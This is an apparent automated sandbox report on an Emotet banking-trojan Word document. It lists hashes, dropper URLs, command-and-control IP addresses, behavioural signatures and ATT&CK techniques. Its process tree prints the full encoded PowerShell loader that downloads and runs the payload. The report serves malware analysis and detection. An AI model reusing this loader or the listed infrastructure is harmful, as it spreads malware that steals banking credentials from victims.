emotet | 79c63be64e830bc43cc6ec2e0022a829afc5eb8cec5654b0fc46089f044cf211

Analysis

max time kernel
145s
max time network
157s
platform
windows10_x64
resource
win10
submitted
19/08/2020, 09:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
emotet_e3_79c63be64e830bc43cc6ec2e0022a829afc5eb8cec5654b0fc46089f044cf211_2020-08-19__092713._doc.doc
Size 200KB
Sample200819-kdyw7vbxme
SHA256 79c63be64e830bc43cc6ec2e0022a829afc5eb8cec5654b0fc46089f044cf211
MD5 9f80526c0d962222ef841c80bd1bffc6
SHA1 2488348afadf693c37ffec2959cb91d185049804
SHA512 8c8ab526ab0f95ca2fc3a015f4c787ffb54dfc538c3b367a99a6aff83655bdbe30c257769805ea16df58c0edd8e4464152777cfade341bc7e4d7dc6d358d7c27
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://www.arkaneod.com/q1nn7k21w463/
exe.dropper
http://archabits.com/content/gcUPYiHZ/
exe.dropper
http://binarystationary.com/cgi-bin/XXPUJqn/
exe.dropper
https://mewolters.nl/tmp/Y5zkijmonrvx4707593/
exe.dropper
http://abcxyzsuperstore.com/temp/2ruqzzb6sx6774986/
exe.dropper
http://www.ashraebangalore.org/wp-admin/R3Vc7f4fhhv56933/
exe.dropper
http://binaryprintingsolutions.co.in/cgi-bin/OFH/

Extracted

Family

emotet

112.78.142.170:80
178.128.14.92:8080
178.238.232.46:443
185.142.236.163:443
192.210.217.94:8080
192.241.220.183:8080
105.209.235.113:8080
182.187.139.200:8080
188.0.135.237:80
201.213.177.139:80
31.146.61.34:80
202.5.47.71:80
81.17.93.134:80
192.163.221.191:8080
97.104.107.190:80
201.235.10.215:80
181.114.114.203:80
51.38.201.19:7080
46.32.229.152:8080
177.144.130.105:443
188.251.213.180:443
91.83.93.103:443
118.70.15.19:8080
197.83.232.19:80
195.201.56.70:8080
172.105.78.244:8080
177.37.81.212:443
172.96.190.154:8080
177.32.8.85:80
107.161.30.122:8080
175.29.183.2:80
86.57.216.23:80
185.86.148.68:443
198.57.203.63:8080
115.79.195.246:80
177.94.227.143:80
50.116.78.109:8080
181.134.9.162:80
92.24.51.238:80
197.249.6.179:443
87.106.231.60:8080
41.185.29.128:8080
78.189.60.109:443
81.214.253.80:443
77.74.78.80:443
105.213.67.88:80
143.95.101.72:8080
60.125.114.64:443
115.78.11.155:80
71.57.180.213:80
139.59.12.63:8080
203.153.216.178:7080
190.190.15.20:80
37.46.129.215:8080
190.53.144.120:80
203.153.216.182:7080
139.99.157.213:8080
86.98.143.163:80
178.33.167.120:8080
113.161.148.81:80
66.61.94.36:80
74.208.173.91:8080
157.7.164.178:8081
190.212.140.6:80
217.199.160.224:8080
46.105.131.68:8080
185.208.226.142:8080
179.62.238.49:80
179.5.118.12:80
216.75.37.196:8080
181.113.229.139:443
190.164.75.175:80
212.112.113.235:80
5.79.70.250:8080
75.127.14.170:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3880	2980	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1224-15-0x0000000002240000-0x000000000224C000-memory.dmp	emotet
behavioral2/memory/1224-15-0x0000000002240000-0x000000000224C000-memory.dmp	emotet
behavioral2/memory/1856-18-0x00000000005E0000-0x00000000005EC000-memory.dmp	emotet
behavioral2/memory/1856-18-0x00000000005E0000-0x00000000005EC000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

flow	pid	Process
5	3880	powersheLL.exe
9	3880	powersheLL.exe
11	3880	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1224	Mfkj95nt.exe
1856	qedit.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\webauthn\qedit.exe	Mfkj95nt.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2460	WINWORD.EXE
2460	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3880	powersheLL.exe
3880	powersheLL.exe
3880	powersheLL.exe
1856	qedit.exe
1856	qedit.exe
1856	qedit.exe
1856	qedit.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3880	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
1224	Mfkj95nt.exe
1224	Mfkj95nt.exe
1856	qedit.exe
1856	qedit.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3880 wrote to memory of 1224	3880	powersheLL.exe	74
PID 3880 wrote to memory of 1224	3880	powersheLL.exe	74
PID 3880 wrote to memory of 1224	3880	powersheLL.exe	74
PID 1224 wrote to memory of 1856	1224	Mfkj95nt.exe	76
PID 1224 wrote to memory of 1856	1224	Mfkj95nt.exe	76
PID 1224 wrote to memory of 1856	1224	Mfkj95nt.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_79c63be64e830bc43cc6ec2e0022a829afc5eb8cec5654b0fc46089f044cf211_2020-08-19__092713._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2460

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABJAGcAcABnAGQAXwA4AD0AKAAnAEgANwB1ACcAKwAnAHMAdgBxACcAKwAnAG0AJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBuAFYAOgB0AEUAbQBQAFwATwBmAEYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAGAAVQBgAFIASQBUAFkAUABSAG8AYABUAE8AYABDAG8ATAAiACAAPQAgACgAJwB0AGwAcwAxADIALAAnACsAJwAgAHQAbAAnACsAJwBzADEAMQAsACcAKwAnACAAJwArACcAdAAnACsAJwBsAHMAJwApADsAJABKAHYAdAB5AG0AbQBsACAAPQAgACgAJwBNAGYAawBqACcAKwAnADkANQBuAHQAJwApADsAJABLADUANQBlAGIAZwBvAD0AKAAnAEcAJwArACcAagB2AGQAdwBfAGEAJwApADsAJABBAHUAXwBpAHkANwBkAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ADAAJwArACcAfQBPACcAKwAnAGYAZgBpAGMAZQAyACcAKwAnADAAMQA5AHsAMAAnACsAJwB9ACcAKQAgAC0ARgAgAFsAQwBoAGEAUgBdADkAMgApACsAJABKAHYAdAB5AG0AbQBsACsAKAAnAC4AJwArACcAZQB4AGUAJwApADsAJABIADAANABsAHcAdQA5AD0AKAAnAFYAZgBoAGMAYwA2ACcAKwAnAHQAJwApADsAJABGAGsAaQBsADQAOABiAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcARQBCAGMATABpAGUAbgB0ADsAJABLADYAcwBoAHAAeAAxAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvACcAKwAnAC8AdwB3AHcAJwArACcALgBhAHIAawAnACsAJwBhAG4AZQBvACcAKwAnAGQALgBjAG8AbQAnACsAJwAvAHEAMQBuAG4ANwBrADIAMQAnACsAJwB3ADQANgAzAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwACcAKwAnADoALwAvAGEAcgAnACsAJwBjAGgAYQBiAGkAdAAnACsAJwBzAC4AYwAnACsAJwBvAG0ALwBjACcAKwAnAG8AbgB0ACcAKwAnAGUAbgB0AC8AZwBjACcAKwAnAFUAUABZAGkASABaACcAKwAnAC8AKgBoAHQAJwArACcAdAAnACsAJwBwADoALwAvAGIAJwArACcAaQBuACcAKwAnAGEAcgAnACsAJwB5AHMAdABhAHQAaQBvAG4AJwArACcAYQByAHkAJwArACcALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBYAFgAUABVAEoAcQBuAC8AKgBoACcAKwAnAHQAdABwACcAKwAnAHMAOgAvAC8AbQBlAHcAJwArACcAbwBsAHQAZQAnACsAJwByAHMALgBuAGwALwB0AG0AcAAvAFkAJwArACcANQB6AGsAaQBqAG0AbwBuAHIAdgB4ADQANwAwACcAKwAnADcANQA5ADMALwAqACcAKwAnAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvACcAKwAnAC8AYQBiAGMAeAB5AHoAcwB1ACcAKwAnAHAAZQByAHMAdABvAHIAZQAuACcAKwAnAGMAbwBtAC8AdABlAG0AcAAnACsAJwAvADIAcgB1AHEAegB6AGIAJwArACcANgBzAHgANgA3ADcAJwArACcANAAnACsAJwA5ADgAJwArACcANgAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwB3AHcAdwAuAGEAcwBoAHIAYQBlAGIAYQBuACcAKwAnAGcAYQBsAG8AJwArACcAcgBlACcAKwAnAC4AbwByACcAKwAnAGcALwB3AHAALQBhACcAKwAnAGQAbQBpAG4ALwBSADMAVgBjADcAZgAnACsAJwA0AGYAJwArACcAaABoAHYANQA2ADkAMwAzAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoALwAvACcAKwAnAGIAaQBuAGEAcgB5AHAAcgBpACcAKwAnAG4AdABpAG4AZwBzAG8AbAB1AHQAaQAnACsAJwBvAG4AJwArACcAcwAuAGMAbwAuAGkAbgAvAGMAZwBpAC0AYgAnACsAJwBpAG4ALwBPAEYASAAvACcAKQAuACIAcwBQAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYAHAAegBmAGMAdwBpAD0AKAAnAEUANABtACcAKwAnAGcAMwB3ACcAKwAnADcAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVABhAF8AdgAyAHMANAAgAGkAbgAgACQASwA2AHMAaABwAHgAMQApAHsAdAByAHkAewAkAEYAawBpAGwANAA4AGIALgAiAEQAbwBgAHcATgBgAEwATwBhAEQAZgBJAGAATABlACIAKAAkAFQAYQBfAHYAMgBzADQALAAgACQAQQB1AF8AaQB5ADcAZAApADsAJABHAHcAeQA2AHYAaABmAD0AKAAnAFcAdgBqACcAKwAnADcAMABtACcAKwAnAHgAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0ACcAKwAnAGUAbQAnACkAIAAkAEEAdQBfAGkAeQA3AGQAKQAuACIATABgAGUATgBHAHQASAAiACAALQBnAGUAIAAyADcAOAA2ADgAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAoACQAQQB1AF8AaQB5ADcAZAApADsAJABUAGgAZwBrADcAdQB5AD0AKAAnAEMAZwAnACsAJwA0AGgAMwByAGoAJwApADsAYgByAGUAYQBrADsAJABBADQAcQBoAHkAaQB6AD0AKAAnAFYAawAnACsAJwByAG0AbQAyADUAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABZAHEAYQBvAHoANwBvAD0AKAAnAFoAZQBzACcAKwAnAGIAbQB4ACcAKwAnAGUAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3880
- C:\Users\Admin\AppData\Local\Temp\Office2019\Mfkj95nt.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Mfkj95nt.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1224
- - C:\Windows\SysWOW64\webauthn\qedit.exe
    "C:\Windows\SysWOW64\webauthn\qedit.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1856

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1224-15-0x0000000002240000-0x000000000224C000-memory.dmp

Download

memory/1856-18-0x00000000005E0000-0x00000000005EC000-memory.dmp

Download

memory/2460-4-0x00000251731B3000-0x00000251731C4000-memory.dmp

Download

memory/2460-8-0x000002517327A000-0x0000025173280000-memory.dmp

Download

memory/2460-7-0x000002517327A000-0x0000025173280000-memory.dmp

Download

memory/2460-6-0x000002517327A000-0x0000025173280000-memory.dmp

Download

memory/2460-5-0x0000025173280000-0x000002517328C000-memory.dmp

Download

memory/2460-0-0x00007FFBC8230000-0x00007FFBC88F6000-memory.dmp

Download

memory/2460-3-0x00000251731B3000-0x00000251731C4000-memory.dmp

Download

memory/2460-2-0x00000251731B3000-0x00000251731C4000-memory.dmp

Download

memory/2460-1-0x00000251731B3000-0x00000251731C4000-memory.dmp

Download

memory/3880-9-0x00007FFBBB3B0000-0x00007FFBBBD9C000-memory.dmp

Download

memory/3880-10-0x00000264B7D70000-0x00000264B7D71000-memory.dmp

Download

memory/3880-11-0x00000264D0590000-0x00000264D0591000-memory.dmp

Download